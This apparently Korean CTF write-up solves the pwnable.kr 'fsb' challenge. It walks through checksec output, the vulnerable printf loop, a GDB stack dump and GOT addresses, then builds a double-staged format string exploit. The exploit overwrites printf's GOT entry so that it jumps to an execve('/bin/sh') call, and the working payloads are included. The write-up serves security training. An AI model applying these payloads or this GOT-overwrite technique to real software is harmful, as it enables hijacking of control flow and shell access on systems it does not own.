바이너리 보안기법 검사(checksec.sh)


RELRO             STACK CANARY      NX               PIE               RPATH        RUNPATH         FILE

Partial RELRO    No canary found    NX enabled    No PIE          No RPATH    No RUNPATH   ./fsb 




소스코드 확인


main() 에서 /dev/urandom을 이용해 8바이트 읽고 이것을 key 값으로 사용한다

이후 alloca를 이용해 0x12345 & key 만큼 메모리 할당하는데 fsb를 이용해 직접적으로 key 값에 접근하짐 못하게 하기위한 것 같다.


뭐 아무튼 fsb() 함수 내에서 다음과 같은 코드로 인해 format string bug가 발생


for(i=0; i<4; i++){

                printf("Give me some format strings(%d)\n", i+1);

                read(0, buf, 100);

                printf(buf);

 }


gdb를 이용해 fsb 발생 전, 후 스택 상태를 살펴보자 




GDB를 이용한 스택 값 확인


fsb() 에서 printf 하기 직전에 break point 설정



(gdb) b *fsb+220


Breakpoint 2, 0x08048610 in fsb ()

(gdb) x/64wx $esp

0xbfa734d0:     0x0804a100      0x0804a100      0x00000064      0xb7734b48

0xbfa734e0:     0x00000001      0x00000000      0xbfa73504      0x0804a024

0xbfa734f0:     0x0804828c      0x08048870      0x00000000      0x00000000

0xbfa73500:     0xbfa7377c      0xbfa75fd1      0xbfa73520      0xbfa73524 

0xbfa73510:     0xbfa735c4      0xbfa73590      0xbfa73578      0x08048791

0xbfa73520:     0x00000000      0x00000000      0x00000008      0xbfa73578

0xbfa73530:     0xbfa73590      0x0804a060      0xb764b4ec      0x0804874e

0xbfa73540:     0x00000003      0x0804a060      0x00000008      0x080483bd

0xbfa73550:     0xbfa75176      0x0000002f      0x08049ff4      0x00000010

0xbfa73560:     0x080487a0      0x08048480      0x00000000      0x00000003

0xbfa73570:     0xbfa73590      0xb771a000      0x00000000      0xb7589a83

0xbfa73580:     0x080487a0      0x00000000      0x00000000      0xb7589a83



소스코드 상 사용자 입력은 data 영역(변수 buf)로 들어가기 때문에 스택에서 사용할 수 없다

하지만 위에서 빨간색으로 표시한 것과 같이


i) 스택의 특정 위치를 가리키는 포인터가 저장되어 있고

ii) 위 위치에 접근 가능하기 때문에


Double staged fsb를 사용할 수 있다

그럼 어디 메모리 주소를 쓰고 그 주소를 뭘로 덮을까




GOT overwriting을 위한 주소 확인


objdump 를 이용해 바이너리의 GOT 주소를 확인


root@ubuntu:/home/u32/Desktop/pwnable/rookiss/fsb# objdump -R ./fsb


./fsb:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE 

08049ff0 R_386_GLOB_DAT    __gmon_start__

0804a000 R_386_JUMP_SLOT   read

0804a004 R_386_JUMP_SLOT   printf

...

(참고용)

(gdb) x/wx 0x804a004

0x804a004 <printf@got.plt>:     0xb75bd280


for loop를 돌면서 printf를 호출해주기때문에 printf의 GOT 주소를 덮어주면 되겠고

control flow hijacking 해서 뛸 주소는


0x080486ab <+375>:   mov    -0x24(%ebp),%eax

0x080486ae <+378>:   movl   $0x0,0x8(%esp)

0x080486b6 <+386>:   lea    -0x24(%ebp),%edx

0x080486b9 <+389>:   mov    %edx,0x4(%esp)

0x080486bd <+393>:   mov    %eax,(%esp)

0x080486c0 <+396>:   call   0x8048450 <execve@plt>


fsb() 내에서 execve(/bin/sh) 해주는 부분으로 뛰면 되겠다.


정리해보면 

i) 첫번째 fsb로 스택 내 0x804a004 값 쓰기

ii) 두번째 fsb로 0x804a004 값을 0x080486ab 로


(여기서 먼저 쓸 값보다 두번째 쓸 값이 작으므로 fsb 한번에 두개 값을 써야 하면 성가셔질뻔? 두번째 fsb사이의 값을 엄청 크게해서 0x1080486ab 로 만들어야하나? 어차피 여기선 4번 쓸 수 있기때문에 편함)




Exploit 진행 및 결과 확인


Give me some format strings(1)

%134520836c%14$n

...

Give me some format strings(2)

%134514347c%20$n

...

$





'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10
[pwnable.kr] simple login - 50pt  (0) 2016.08.23

+ Recent posts